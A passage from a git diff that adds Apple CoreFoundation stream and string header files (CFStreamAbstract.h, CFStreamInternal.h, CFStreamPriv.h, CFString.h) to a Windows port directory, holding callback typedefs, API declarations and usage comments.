(*finalize)(CFWriteStreamRef stream, void *info); + CFStringRef (*copyDescription)(CFWriteStreamRef stream, void *info); + + Boolean (*open)(CFWriteStreamRef stream, CFErrorRef *error, Boolean *openComplete, void *info); + Boolean (*openCompleted)(CFWriteStreamRef stream, CFErrorRef *error, void *info); + CFIndex (*write)(CFWriteStreamRef stream, const UInt8 *buffer, CFIndex bufferLength, CFErrorRef *error, void *info); + Boolean (*canWrite)(CFWriteStreamRef stream, CFErrorRef *error, void *info); + void (*close)(CFWriteStreamRef stream, void *info); + + CFTypeRef (*copyProperty)(CFWriteStreamRef stream, CFStringRef propertyName, void *info); + Boolean (*setProperty)(CFWriteStreamRef stream, CFStringRef propertyName, CFTypeRef propertyValue, void *info); + + void (*requestEvents)(CFWriteStreamRef stream, CFOptionFlags streamEvents, void *info); + void (*schedule)(CFWriteStreamRef stream, CFRunLoopRef runLoop, CFStringRef runLoopMode, void *info); + void (*unschedule)(CFWriteStreamRef stream, CFRunLoopRef runLoop, CFStringRef runLoopMode, void *info); +} CFWriteStreamCallBacks; + +// Primitive creation mechanisms. +CF_EXPORT +CFReadStreamRef CFReadStreamCreate(CFAllocatorRef alloc, const CFReadStreamCallBacks *callbacks, void *info); +CF_EXPORT +CFWriteStreamRef CFWriteStreamCreate(CFAllocatorRef alloc, const CFWriteStreamCallBacks *callbacks, void *info); + +/* All the functions below can only be called when you are sure the stream in question was created via + CFReadStreamCreate() or CFWriteStreamCreate(), above. They are NOT safe for toll-free bridged objects, + so the caller must be sure the argument passed is not such an object. */ + +// To be called by the concrete stream implementation (the callbacks) when an event occurs. error may be NULL if event != kCFStreamEventErrorOccurred +// error should be a CFErrorRef if the callbacks are version 2 or later; otherwise it should be a (CFStreamError *). +CF_EXPORT +void CFReadStreamSignalEvent(CFReadStreamRef stream, CFStreamEventType event, const void *error); +CF_EXPORT +void CFWriteStreamSignalEvent(CFWriteStreamRef stream, CFStreamEventType event, const void *error); + +// These require that the stream allow the run loop to run once before delivering the event to its client. +// See the comment above CFRead/WriteStreamSignalEvent for interpretation of the error argument. +CF_EXPORT +void _CFReadStreamSignalEventDelayed(CFReadStreamRef stream, CFStreamEventType event, const void *error); +CF_EXPORT +void _CFWriteStreamSignalEventDelayed(CFWriteStreamRef stream, CFStreamEventType event, const void *error); + +CF_EXPORT +void _CFReadStreamClearEvent(CFReadStreamRef stream, CFStreamEventType event); +// Write variant not currently needed +//CF_EXPORT +//void _CFWriteStreamClearEvent(CFWriteStreamRef stream, CFStreamEventType event); + +// Convenience for concrete implementations to extract the info pointer given the stream. +CF_EXPORT +void *CFReadStreamGetInfoPointer(CFReadStreamRef stream); +CF_EXPORT +void *CFWriteStreamGetInfoPointer(CFWriteStreamRef stream); + +// Returns the client info pointer currently set on the stream. These should probably be made public one day. +CF_EXPORT +void *_CFReadStreamGetClient(CFReadStreamRef readStream); +CF_EXPORT +void *_CFWriteStreamGetClient(CFWriteStreamRef writeStream); + +// Returns an array of the runloops and modes on which the stream is currently scheduled +CF_EXPORT +CFArrayRef _CFReadStreamGetRunLoopsAndModes(CFReadStreamRef readStream); +CF_EXPORT +CFArrayRef _CFWriteStreamGetRunLoopsAndModes(CFWriteStreamRef writeStream); + +/* Deprecated versions; here for backwards compatibility. */ +typedef struct { + CFIndex version; /* == 1 */ + void *(*create)(CFReadStreamRef stream, void *info); + void (*finalize)(CFReadStreamRef stream, void *info); + CFStringRef (*copyDescription)(CFReadStreamRef stream, void *info); + Boolean (*open)(CFReadStreamRef stream, CFStreamError *error, Boolean *openComplete, void *info); + Boolean (*openCompleted)(CFReadStreamRef stream, CFStreamError *error, void *info); + CFIndex (*read)(CFReadStreamRef stream, UInt8 *buffer, CFIndex bufferLength, CFStreamError *error, Boolean *atEOF, void *info); + const UInt8 *(*getBuffer)(CFReadStreamRef stream, CFIndex maxBytesToRead, CFIndex *numBytesRead, CFStreamError *error, Boolean *atEOF, void *info); + Boolean (*canRead)(CFReadStreamRef stream, void *info); + void (*close)(CFReadStreamRef stream, void *info); + CFTypeRef (*copyProperty)(CFReadStreamRef stream, CFStringRef propertyName, void *info); + Boolean (*setProperty)(CFReadStreamRef stream, CFStringRef propertyName, CFTypeRef propertyValue, void *info); + void (*requestEvents)(CFReadStreamRef stream, CFOptionFlags streamEvents, void *info); + void (*schedule)(CFReadStreamRef stream, CFRunLoopRef runLoop, CFStringRef runLoopMode, void *info); + void (*unschedule)(CFReadStreamRef stream, CFRunLoopRef runLoop, CFStringRef runLoopMode, void *info); +} CFReadStreamCallBacksV1; + +typedef struct { + CFIndex version; /* == 1 */ + void *(*create)(CFWriteStreamRef stream, void *info); + void (*finalize)(CFWriteStreamRef stream, void *info); + CFStringRef (*copyDescription)(CFWriteStreamRef stream, void *info); + Boolean (*open)(CFWriteStreamRef stream, CFStreamError *error, Boolean *openComplete, void *info); + Boolean (*openCompleted)(CFWriteStreamRef stream, CFStreamError *error, void *info); + CFIndex (*write)(CFWriteStreamRef stream, const UInt8 *buffer, CFIndex bufferLength, CFStreamError *error, void *info); + Boolean (*canWrite)(CFWriteStreamRef stream, void *info); + void (*close)(CFWriteStreamRef stream, void *info); + CFTypeRef (*copyProperty)(CFWriteStreamRef stream, CFStringRef propertyName, void *info); + Boolean (*setProperty)(CFWriteStreamRef stream, CFStringRef propertyName, CFTypeRef propertyValue, void *info); + void (*requestEvents)(CFWriteStreamRef stream, CFOptionFlags streamEvents, void *info); + void (*schedule)(CFWriteStreamRef stream, CFRunLoopRef runLoop, CFStringRef runLoopMode, void *info); + void (*unschedule)(CFWriteStreamRef stream, CFRunLoopRef runLoop, CFStringRef runLoopMode, void *info); +} CFWriteStreamCallBacksV1; + +typedef struct { + CFIndex version; /* == 0 */ + Boolean (*open)(CFReadStreamRef stream, CFStreamError *error, Boolean *openComplete, void *info); + Boolean (*openCompleted)(CFReadStreamRef stream, CFStreamError *error, void *info); + CFIndex (*read)(CFReadStreamRef stream, UInt8 *buffer, CFIndex bufferLength, CFStreamError *error, Boolean *atEOF, void *info); + const UInt8 *(*getBuffer)(CFReadStreamRef stream, CFIndex maxBytesToRead, CFIndex *numBytesRead, CFStreamError *error, Boolean *atEOF, void *info); + Boolean (*canRead)(CFReadStreamRef stream, void *info); + void (*close)(CFReadStreamRef stream, void *info); + CFTypeRef (*copyProperty)(CFReadStreamRef stream, CFStringRef propertyName, void *info); + void (*schedule)(CFReadStreamRef stream, CFRunLoopRef runLoop, CFStringRef runLoopMode, void *info); + void (*unschedule)(CFReadStreamRef stream, CFRunLoopRef runLoop, CFStringRef runLoopMode, void *info); +} CFReadStreamCallBacksV0; + +typedef struct { + CFIndex version; /* == 0 */ + Boolean (*open)(CFWriteStreamRef stream, CFStreamError *error, Boolean *openComplete, void *info); + Boolean (*openCompleted)(CFWriteStreamRef stream, CFStreamError *error, void *info); + CFIndex (*write)(CFWriteStreamRef stream, const UInt8 *buffer, CFIndex bufferLength, CFStreamError *error, void *info); + Boolean (*canWrite)(CFWriteStreamRef stream, void *info); + void (*close)(CFWriteStreamRef stream, void *info); + CFTypeRef (*copyProperty)(CFWriteStreamRef stream, CFStringRef propertyName, void *info); + void (*schedule)(CFWriteStreamRef stream, CFRunLoopRef runLoop, CFStringRef runLoopMode, void *info); + void (*unschedule)(CFWriteStreamRef stream, CFRunLoopRef runLoop, CFStringRef runLoopMode, void *info); +} CFWriteStreamCallBacksV0; + +CF_EXTERN_C_END + +#endif /* ! __COREFOUNDATION_CFSTREAMABSTRACT__ */ diff --git a/winstuff/CoreFoundation/CFStreamInternal.h b/winstuff/CoreFoundation/CFStreamInternal.h new file mode 100644 index 0000000..ec92661 --- /dev/null +++ b/winstuff/CoreFoundation/CFStreamInternal.h @@ -0,0 +1,73 @@ +/* + * Copyright (c) 2008 Apple Inc. All rights reserved. + * + * @APPLE_LICENSE_HEADER_START@ + * + * This file contains Original Code and/or Modifications of Original Code + * as defined in and that are subject to the Apple Public Source License + * Version 2.0 (the 'License'). You may not use this file except in + * compliance with the License. Please obtain a copy of the License at + * http://www.opensource.apple.com/apsl/ and read it before using this + * file. + * + * The Original Code and all software distributed under the License are + * distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER + * EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES, + * INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT. + * Please see the License for the specific language governing rights and + * limitations under the License. + * + * @APPLE_LICENSE_HEADER_END@ + */ +#if !defined(__COREFOUNDATION_CFSTREAMINTERNAL__) +#define __COREFOUNDATION_CFSTREAMINTERNAL__ 1 + +#include +#include +#include +#include + +CF_EXTERN_C_BEGIN + + +// Older versions of the callbacks; v0 callbacks match v1 callbacks, except that create, finalize, and copyDescription are missing. +typedef Boolean (*_CFStreamCBOpenV1)(struct _CFStream *stream, CFStreamError *error, Boolean *openComplete, void *info); +typedef Boolean (*_CFStreamCBOpenCompletedV1)(struct _CFStream *stream, CFStreamError *error, void *info); +typedef CFIndex (*_CFStreamCBReadV1)(CFReadStreamRef stream, UInt8 *buffer, CFIndex bufferLength, CFStreamError *error, Boolean *atEOF, void *info); +typedef const UInt8 *(*_CFStreamCBGetBufferV1)(CFReadStreamRef sream, CFIndex maxBytesToRead, CFIndex *numBytesRead, CFStreamError *error, Boolean *atEOF, void *info); +typedef Boolean (*_CFStreamCBCanReadV1)(CFReadStreamRef, void *info); +typedef CFIndex (*_CFStreamCBWriteV1)(CFWriteStreamRef, const UInt8 *buffer, CFIndex bufferLength, CFStreamError *error, void *info); +typedef Boolean (*_CFStreamCBCanWriteV1)(CFWriteStreamRef, void *info); + +struct _CFStreamCallBacksV1 { + CFIndex version; + void *(*create)(struct _CFStream *stream, void *info); + void (*finalize)(struct _CFStream *stream, void *info); + CFStringRef (*copyDescription)(struct _CFStream *stream, void *info); + + _CFStreamCBOpenV1 open; + _CFStreamCBOpenCompletedV1 openCompleted; + _CFStreamCBReadV1 read; + _CFStreamCBGetBufferV1 getBuffer; + _CFStreamCBCanReadV1 canRead; + _CFStreamCBWriteV1 write; + _CFStreamCBCanWriteV1 canWrite; + void (*close)(struct _CFStream *stream, void *info); + + CFTypeRef (*copyProperty)(struct _CFStream *stream, CFStringRef propertyName, void *info); + Boolean (*setProperty)(struct _CFStream *stream, CFStringRef propertyName, CFTypeRef propertyValue, void *info); + void (*requestEvents)(struct _CFStream *stream, CFOptionFlags events, void *info); + void (*schedule)(struct _CFStream *stream, CFRunLoopRef runLoop, CFStringRef runLoopMode, void *info); + void (*unschedule)(struct _CFStream *stream, CFRunLoopRef runLoop, CFStringRef runLoopMode, void *info); +}; + +// These two are defined in CFSocketStream.c because that's where the glue for CFNetwork is. +__private_extern__ CFErrorRef _CFErrorFromStreamError(CFAllocatorRef alloc, CFStreamError *err); +__private_extern__ CFStreamError _CFStreamErrorFromError(CFErrorRef error); + +CF_EXTERN_C_END + +#endif /* ! __COREFOUNDATION_CFSTREAMINTERNAL__ */ + + diff --git a/winstuff/CoreFoundation/CFStreamPriv.h b/winstuff/CoreFoundation/CFStreamPriv.h new file mode 100644 index 0000000..79f2c65 --- /dev/null +++ b/winstuff/CoreFoundation/CFStreamPriv.h @@ -0,0 +1,198 @@ +/* + * Copyright (c) 2008 Apple Inc. All rights reserved. + * + * @APPLE_LICENSE_HEADER_START@ + * + * This file contains Original Code and/or Modifications of Original Code + * as defined in and that are subject to the Apple Public Source License + * Version 2.0 (the 'License'). You may not use this file except in + * compliance with the License. Please obtain a copy of the License at + * http://www.opensource.apple.com/apsl/ and read it before using this + * file. + * + * The Original Code and all software distributed under the License are + * distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER + * EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES, + * INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT. + * Please see the License for the specific language governing rights and + * limitations under the License. + * + * @APPLE_LICENSE_HEADER_END@ + */ +/* CFStreamPriv.h + Copyright (c) 2000-2007, Apple Inc. All rights reserved. +*/ + +#if !defined(__COREFOUNDATION_CFSTREAMPRIV__) +#define __COREFOUNDATION_CFSTREAMPRIV__ 1 + +#include +#include +#include + +CF_EXTERN_C_BEGIN + +struct _CFStream; +struct _CFStreamClient { + CFStreamClientContext cbContext; + void (*cb)(struct _CFStream *, CFStreamEventType, void *); + CFOptionFlags when; + CFRunLoopSourceRef rlSource; + CFMutableArrayRef runLoopsAndModes; + CFOptionFlags whatToSignal; +}; + +#define CFStreamCurrentVersion 2 + +// A unified set of callbacks so we can use a single structure for all struct _CFStreams. +struct _CFStreamCallBacks { + CFIndex version; + void *(*create)(struct _CFStream *stream, void *info); + void (*finalize)(struct _CFStream *stream, void *info); + CFStringRef (*copyDescription)(struct _CFStream *stream, void *info); + + Boolean (*open)(struct _CFStream *stream, CFErrorRef *error, Boolean *openComplete, void *info); + Boolean (*openCompleted)(struct _CFStream *stream, CFErrorRef *error, void *info); + CFIndex (*read)(CFReadStreamRef stream, UInt8 *buffer, CFIndex bufferLength, CFErrorRef *error, Boolean *atEOF, void *info); + const UInt8 *(*getBuffer)(CFReadStreamRef sream, CFIndex maxBytesToRead, CFIndex *numBytesRead, CFErrorRef *error, Boolean *atEOF, void *info); + Boolean (*canRead)(CFReadStreamRef, CFErrorRef *error, void *info); + CFIndex (*write)(CFWriteStreamRef, const UInt8 *buffer, CFIndex bufferLength, CFErrorRef *error, void *info); + Boolean (*canWrite)(CFWriteStreamRef, CFErrorRef *error, void *info); + void (*close)(struct _CFStream *stream, void *info); + + CFTypeRef (*copyProperty)(struct _CFStream *stream, CFStringRef propertyName, void *info); + Boolean (*setProperty)(struct _CFStream *stream, CFStringRef propertyName, CFTypeRef propertyValue, void *info); + void (*requestEvents)(struct _CFStream *stream, CFOptionFlags events, void *info); + void (*schedule)(struct _CFStream *stream, CFRunLoopRef runLoop, CFStringRef runLoopMode, void *info); + void (*unschedule)(struct _CFStream *stream, CFRunLoopRef runLoop, CFStringRef runLoopMode, void *info); +}; + +struct _CFStream { + CFRuntimeBase _cfBase; + CFOptionFlags flags; + CFErrorRef error; // if callBacks->version < 2, this is actually a pointer to a CFStreamError + struct _CFStreamClient *client; + void *info; + const struct _CFStreamCallBacks *callBacks; // This will not exist (will not be allocated) if the callbacks are from our known, "blessed" set. + void *_reserved1; +}; + + +CF_INLINE void *_CFStreamGetInfoPointer(struct _CFStream *stream) { + return stream->info; +} + + +// cb version must be > 0 +CF_EXPORT struct _CFStream *_CFStreamCreateWithConstantCallbacks(CFAllocatorRef alloc, void *info, const struct _CFStreamCallBacks *cb, Boolean isReading); + +// Only available for streams created with _CFStreamCreateWithConstantCallbacks, above. cb's version must be 1 +CF_EXPORT void _CFStreamSetInfoPointer(struct _CFStream *stream, void *info, const struct _CFStreamCallBacks *cb); + +/* +** _CFStreamSourceScheduleWithRunLoop +** +** Schedules the given run loop source on the given run loop and mode. It then +** adds the loop and mode pair to the runLoopsAndModes list. The list is +** simply a linear list of a loop reference followed by a mode reference. +** +** source Run loop source to be scheduled +** +** runLoopsAndModes List of run loop/mode pairs on which the source is scheduled +** +** runLoop Run loop on which the source is being scheduled +** +** runLoopMode Run loop mode on which the source is being scheduled +*/ +CF_EXPORT +void _CFStreamSourceScheduleWithRunLoop(CFRunLoopSourceRef source, CFMutableArrayRef runLoopsAndModes, CFRunLoopRef runLoop, CFStringRef runLoopMode); + + +/* +** _CFStreamSourceUnscheduleFromRunLoop +** +** Unschedule the given source from the given run loop and mode. It then will +** guarantee that the source remains scheduled on the list of run loop and mode +** pairs in the runLoopsAndModes list. The list is simply a linear list of a +** loop reference followed by a mode reference. +** +** source Run loop source to be unscheduled +** +** runLoopsAndModes List of run loop/mode pairs on which the source is scheduled +** +** runLoop Run loop from which the source is being unscheduled +** +** runLoopMode Run loop mode from which the source is being unscheduled +*/ +CF_EXPORT +void _CFStreamSourceUnscheduleFromRunLoop(CFRunLoopSourceRef source, CFMutableArrayRef runLoopsAndModes, CFRunLoopRef runLoop, CFStringRef runLoopMode); + + +/* +** _CFStreamSourceScheduleWithAllRunLoops +** +** Schedules the given run loop source on all the run loops and modes in the list. +** The list is simply a linear list of a loop reference followed by a mode reference. +** +** source Run loop source to be unscheduled +** +** runLoopsAndModes List of run loop/mode pairs on which the source is scheduled +*/ +CF_EXPORT +void _CFStreamSourceScheduleWithAllRunLoops(CFRunLoopSourceRef source, CFArrayRef runLoopsAndModes); + + +/* +** _CFStreamSourceUnscheduleFromRunLoop +** +** Unschedule the given source from all the run loops and modes in the list. +** The list is simply a linear list of a loop reference followed by a mode +** reference. +** +** source Run loop source to be unscheduled +** +** runLoopsAndModes List of run loop/mode pairs on which the source is scheduled +*/ +CF_EXPORT +void _CFStreamSourceUncheduleFromAllRunLoops(CFRunLoopSourceRef source, CFArrayRef runLoopsAndModes); + +CF_EXPORT +CFReadStreamRef _CFReadStreamCreateFromFileDescriptor(CFAllocatorRef alloc, int fd); + +CF_EXPORT +CFWriteStreamRef _CFWriteStreamCreateFromFileDescriptor(CFAllocatorRef alloc, int fd); + + + +#define SECURITY_NONE (0) +#define SECURITY_SSLv2 (1) +#define SECURITY_SSLv3 (2) +#define SECURITY_SSLv32 (3) +#define SECURITY_TLS (4) + +#if defined (__MACH__) +// This symbol is exported from CFNetwork (see CFSocketStream.i). Only __MACH__ systems will +// get this symbol from CoreFoundation. +extern const int kCFStreamErrorDomainSSL; +#endif //__MACH__ + +/* + * Additional SPI for CFNetwork for select side read buffering + */ +CF_EXPORT +Boolean __CFSocketGetBytesAvailable(CFSocketRef s, CFIndex* ctBytesAvailable); + +CF_EXPORT +CFIndex __CFSocketRead(CFSocketRef s, UInt8* buffer, CFIndex length, int* error); + +CF_EXPORT +void __CFSocketSetReadBufferLength(CFSocketRef s, CFIndex length); + +CF_EXPORT +void __CFSocketSetReadBufferTimeout(CFSocketRef s, CFTimeInterval timeout); + +CF_EXTERN_C_END + +#endif /* ! __COREFOUNDATION_CFSTREAMPRIV__ */ + diff --git a/winstuff/CoreFoundation/CFString.h b/winstuff/CoreFoundation/CFString.h new file mode 100644 index 0000000..4e532c3 --- /dev/null +++ b/winstuff/CoreFoundation/CFString.h @@ -0,0 +1,817 @@ +/* CFString.h + Copyright (c) 1998-2007, Apple Inc. All rights reserved. +*/ + +#if !defined(__COREFOUNDATION_CFSTRING__) +#define __COREFOUNDATION_CFSTRING__ 1 + +#include +#include +#include +#include +#include +#include +#include + +CF_EXTERN_C_BEGIN + +/* +Please note: CFStrings are conceptually an array of Unicode characters. +However, in general, how a CFString stores this array is an implementation +detail. For instance, CFString might choose to use an array of 8-bit characters; +to store its contents; or it might use multiple blocks of memory; or whatever. +Furthermore, the implementation might change depending on the default +system encoding, the user's language, the OS, or even a given release. + +What this means is that you should use the following advanced functions with care: + + CFStringGetPascalStringPtr() + CFStringGetCStringPtr() + CFStringGetCharactersPtr() + +These functions are provided for optimization only. They will either return the desired +pointer quickly, in constant time, or they return NULL. They might choose to return NULL +for many reasons; for instance it's possible that for users running in different +languages these sometimes return NULL; or in a future OS release the first two might +switch to always returning NULL. Never observing NULL returns in your usages of these +functions does not mean they won't ever return NULL. (But note the CFStringGetCharactersPtr() +exception mentioned further below.) + +In your usages of these functions, if you get a NULL return, use the non-Ptr version +of the functions as shown in this example: + + Str255 buffer; + StringPtr ptr = CFStringGetPascalStringPtr(str, encoding); + if (ptr == NULL) { + if (CFStringGetPascalString(str, buffer, 256, encoding)) ptr = buffer; + } + +Note that CFStringGetPascalString() or CFStringGetCString() calls might still fail --- but +that will happen in two circumstances only: The conversion from the UniChar contents of CFString +to the specified encoding fails, or the buffer is too small. If they fail, that means +the conversion was not possible. + +If you need a copy of the buffer in the above example, you might consider simply +calling CFStringGetPascalString() in all cases --- CFStringGetPascalStringPtr() +is simply an optimization. + +In addition, the following functions, which create immutable CFStrings from developer +supplied buffers without copying the buffers, might have to actually copy +under certain circumstances (If they do copy, the buffer will be dealt with by the +"contentsDeallocator" argument.): + + CFStringCreateWithPascalStringNoCopy() + CFStringCreateWithCStringNoCopy() + CFStringCreateWithCharactersNoCopy() + +You should of course never depend on the backing store of these CFStrings being +what you provided, and in other no circumstance should you change the contents +of that buffer (given that would break the invariant about the CFString being immutable). + +Having said all this, there are actually ways to create a CFString where the backing store +is external, and can be manipulated by the developer or CFString itself: + + CFStringCreateMutableWithExternalCharactersNoCopy() + CFStringSetExternalCharactersNoCopy() + +A "contentsAllocator" is used to realloc or free the backing store by CFString. +kCFAllocatorNull can be provided to assure CFString will never realloc or free the buffer. +Developer can call CFStringSetExternalCharactersNoCopy() to update +CFString's idea of what's going on, if the buffer is changed externally. In these +strings, CFStringGetCharactersPtr() is guaranteed to return the external buffer. + +These functions are here to allow wrapping a buffer of UniChar characters in a CFString, +allowing the buffer to passed into CFString functions and also manipulated via CFString +mutation functions. In general, developers should not use this technique for all strings, +as it prevents CFString from using certain optimizations. +*/ + +/* Identifier for character encoding; the values are the same as Text Encoding Converter TextEncoding. +*/ +typedef UInt32 CFStringEncoding; + +/* Platform-independent built-in encodings; always available on all platforms. + Call CFStringGetSystemEncoding() to get the default system encoding. +*/ +#define kCFStringEncodingInvalidId (0xffffffffU) +enum { + kCFStringEncodingMacRoman = 0, + kCFStringEncodingWindowsLatin1 = 0x0500, /* ANSI codepage 1252 */ + kCFStringEncodingISOLatin1 = 0x0201, /* ISO 8859-1 */ + kCFStringEncodingNextStepLatin = 0x0B01, /* NextStep encoding*/ + kCFStringEncodingASCII = 0x0600, /* 0..127 (in creating CFString, values greater than 0x7F are treated as corresponding Unicode value) */ + kCFStringEncodingUnicode = 0x0100, /* kTextEncodingUnicodeDefault + kTextEncodingDefaultFormat (aka kUnicode16BitFormat) */ + kCFStringEncodingUTF8 = 0x08000100, /* kTextEncodingUnicodeDefault + kUnicodeUTF8Format */ + kCFStringEncodingNonLossyASCII = 0x0BFF /* 7bit Unicode variants used by Cocoa & Java */ +#if MAC_OS_X_VERSION_10_4 <= MAC_OS_X_VERSION_MAX_ALLOWED + , + kCFStringEncodingUTF16 = 0x0100, /* kTextEncodingUnicodeDefault + kUnicodeUTF16Format (alias of kCFStringEncodingUnicode) */ + kCFStringEncodingUTF16BE = 0x10000100, /* kTextEncodingUnicodeDefault + kUnicodeUTF16BEFormat */ + kCFStringEncodingUTF16LE = 0x14000100, /* kTextEncodingUnicodeDefault + kUnicodeUTF16LEFormat */ + + kCFStringEncodingUTF32 = 0x0c000100, /* kTextEncodingUnicodeDefault + kUnicodeUTF32Format */ + kCFStringEncodingUTF32BE = 0x18000100, /* kTextEncodingUnicodeDefault + kUnicodeUTF32BEFormat */ + kCFStringEncodingUTF32LE = 0x1c000100 /* kTextEncodingUnicodeDefault + kUnicodeUTF32LEFormat */ +#endif /* MAC_OS_X_VERSION_10_4 <= MAC_OS_X_VERSION_MAX_ALLOWED */ +}; +typedef CFStringEncoding CFStringBuiltInEncodings; + +/* CFString type ID */ +CF_EXPORT +CFTypeID CFStringGetTypeID(void); + +/* Macro to allow creation of compile-time constant strings; the argument should be a constant string. + +CFSTR(), not being a "Copy" or "Create" function, does not return a new +reference for you. So, you should not release the return value. This is +much like constant C or Pascal strings --- when you use "hello world" +in a program, you do not free it. + +However, strings returned from CFSTR() can be retained and released in a +properly nested fashion, just like any other CF type. That is, if you pass +a CFSTR() return value to a function such as SetMenuItemWithCFString(), the +function can retain it, then later, when it's done with it, it can release it. + +At this point non-7 bit characters (that is, characters > 127) in CFSTR() are not +supported and using them will lead to unpredictable results. This includes escaped +(\nnn) characters whose values are > 127. Even if it works for you in testing, +it might not work for a user with a different language preference. +*/ +#ifdef __CONSTANT_CFSTRINGS__ +#define CFSTR(cStr) ((CFStringRef) __builtin___CFStringMakeConstantString ("" cStr "")) +#else +#define CFSTR(cStr) __CFStringMakeConstantString("" cStr "") +#endif + +/*** Immutable string creation functions ***/ + +/* Functions to create basic immutable strings. The provided allocator is used for all memory activity in these functions. +*/ + +/* The following four functions copy the provided buffer into CFString's internal storage. */ +CF_EXPORT +CFStringRef CFStringCreateWithPascalString(CFAllocatorRef alloc, ConstStr255Param pStr, CFStringEncoding encoding); + +CF_EXPORT +CFStringRef CFStringCreateWithCString(CFAllocatorRef alloc, const char *cStr, CFStringEncoding encoding); + +/* The following takes an explicit length, and allows you to specify whether the data is an external format --- that is, whether to pay attention to the BOM character (if any) and do byte swapping if necessary +*/ +CF_EXPORT +CFStringRef CFStringCreateWithBytes(CFAllocatorRef alloc, const UInt8 *bytes, CFIndex numBytes, CFStringEncoding encoding, Boolean isExternalRepresentation); + +CF_EXPORT +CFStringRef CFStringCreateWithCharacters(CFAllocatorRef alloc, const UniChar *chars, CFIndex numChars); + + +/* These functions try not to copy the provided buffer. The buffer will be deallocated +with the provided contentsDeallocator when it's no longer needed; to not free +the buffer, specify kCFAllocatorNull here. As usual, NULL means default allocator. + +NOTE: Do not count on these buffers as being used by the string; +in some cases the CFString might free the buffer and use something else +(for instance if it decides to always use Unicode encoding internally). + +NOTE: If you are not transferring ownership of the buffer to the CFString +(for instance, you supplied contentsDeallocator = kCFAllocatorNull), it is your +responsibility to assure the buffer does not go away during the lifetime of the string. +If the string is retained or copied, its lifetime might extend in ways you cannot +predict. So, for strings created with buffers whose lifetimes you cannot +guarantee, you need to be extremely careful --- do not hand it out to any +APIs which might retain or copy the strings. +*/ +CF_EXPORT +CFStringRef CFStringCreateWithPascalStringNoCopy(CFAllocatorRef alloc, ConstStr255Param pStr, CFStringEncoding encoding, CFAllocatorRef contentsDeallocator); + +CF_EXPORT +CFStringRef CFStringCreateWithCStringNoCopy(CFAllocatorRef alloc, const char *cStr, CFStringEncoding encoding, CFAllocatorRef contentsDeallocator); + +#if MAC_OS_X_VERSION_10_4 <= MAC_OS_X_VERSION_MAX_ALLOWED +/* The following takes an explicit length, and allows you to specify whether the data is an external format --- that is, whether to pay attention to the BOM character (if any) and do byte swapping if necessary +*/ +CF_EXPORT +CFStringRef CFStringCreateWithBytesNoCopy(CFAllocatorRef alloc, const UInt8 *bytes, CFIndex numBytes, CFStringEncoding encoding, Boolean isExternalRepresentation, CFAllocatorRef contentsDeallocator) AVAILABLE_MAC_OS_X_VERSION_10_4_AND_LATER; +#endif + +CF_EXPORT +CFStringRef CFStringCreateWithCharactersNoCopy(CFAllocatorRef alloc, const UniChar *chars, CFIndex numChars, CFAllocatorRef contentsDeallocator); + +/* Create copies of part or all of the string. +*/ +CF_EXPORT +CFStringRef CFStringCreateWithSubstring(CFAllocatorRef alloc, CFStringRef str, CFRange range); + +CF_EXPORT +CFStringRef CFStringCreateCopy(CFAllocatorRef alloc, CFStringRef theString); + +/* These functions create a CFString from the provided printf-like format string and arguments. +*/ +CF_EXPORT +CFStringRef CFStringCreateWithFormat(CFAllocatorRef alloc, CFDictionaryRef formatOptions, CFStringRef format, ...); + +CF_EXPORT +CFStringRef CFStringCreateWithFormatAndArguments(CFAllocatorRef alloc, CFDictionaryRef formatOptions, CFStringRef format, va_list arguments); + +/* Functions to create mutable strings. "maxLength", if not 0, is a hard bound on the length of the string. If 0, there is no limit on the length. +*/ +CF_EXPORT +CFMutableStringRef CFStringCreateMutable(CFAllocatorRef alloc, CFIndex maxLength); + +CF_EXPORT +CFMutableStringRef CFStringCreateMutableCopy(CFAllocatorRef alloc, CFIndex maxLength, CFStringRef theString); + +/* This function creates a mutable string that has a developer supplied and directly editable backing store. +The string will be manipulated within the provided buffer (if any) until it outgrows capacity; then the +externalCharactersAllocator will be consulted for more memory. When the CFString is deallocated, the +buffer will be freed with the externalCharactersAllocator. Provide kCFAllocatorNull here to prevent the buffer +from ever being reallocated or deallocated by CFString. See comments at top of this file for more info. +*/ +CF_EXPORT +CFMutableStringRef CFStringCreateMutableWithExternalCharactersNoCopy(CFAllocatorRef alloc, UniChar *chars, CFIndex numChars, CFIndex capacity, CFAllocatorRef externalCharactersAllocator); + +/*** Basic accessors for the contents ***/ + +/* Number of 16-bit Unicode characters in the string. +*/ +CF_EXPORT +CFIndex CFStringGetLength(CFStringRef theString); + +/* Extracting the contents of the string. For obtaining multiple characters, calling +CFStringGetCharacters() is more efficient than multiple calls to CFStringGetCharacterAtIndex(). +If the length of the string is not known (so you can't use a fixed size buffer for CFStringGetCharacters()), +another method is to use is CFStringGetCharacterFromInlineBuffer() (see further below). +*/ +CF_EXPORT +UniChar CFStringGetCharacterAtIndex(CFStringRef theString, CFIndex idx); + +CF_EXPORT +void CFStringGetCharacters(CFStringRef theString, CFRange range, UniChar *buffer); + + +/*** Conversion to other encodings ***/ + +/* These two convert into the provided buffer; they return false if conversion isn't possible +(due to conversion error, or not enough space in the provided buffer). +These functions do zero-terminate or put the length byte; the provided bufferSize should include +space for this (so pass 256 for Str255). More sophisticated usages can go through CFStringGetBytes(). +These functions are equivalent to calling CFStringGetBytes() with +the range of the string; lossByte = 0; and isExternalRepresentation = false; +if successful, they then insert the leading length or terminating zero, as desired. +*/ +CF_EXPORT +Boolean CFStringGetPascalString(CFStringRef theString, StringPtr buffer, CFIndex bufferSize, CFStringEncoding encoding); + +CF_EXPORT +Boolean CFStringGetCString(CFStringRef theString, char *buffer, CFIndex bufferSize, CFStringEncoding encoding); + +/* These functions attempt to return in O(1) time the desired format for the string. +Note that although this means a pointer to the internal structure is being returned, +this can't always be counted on. Please see note at the top of the file for more +details. +*/ +CF_EXPORT +ConstStringPtr CFStringGetPascalStringPtr(CFStringRef theString, CFStringEncoding encoding); 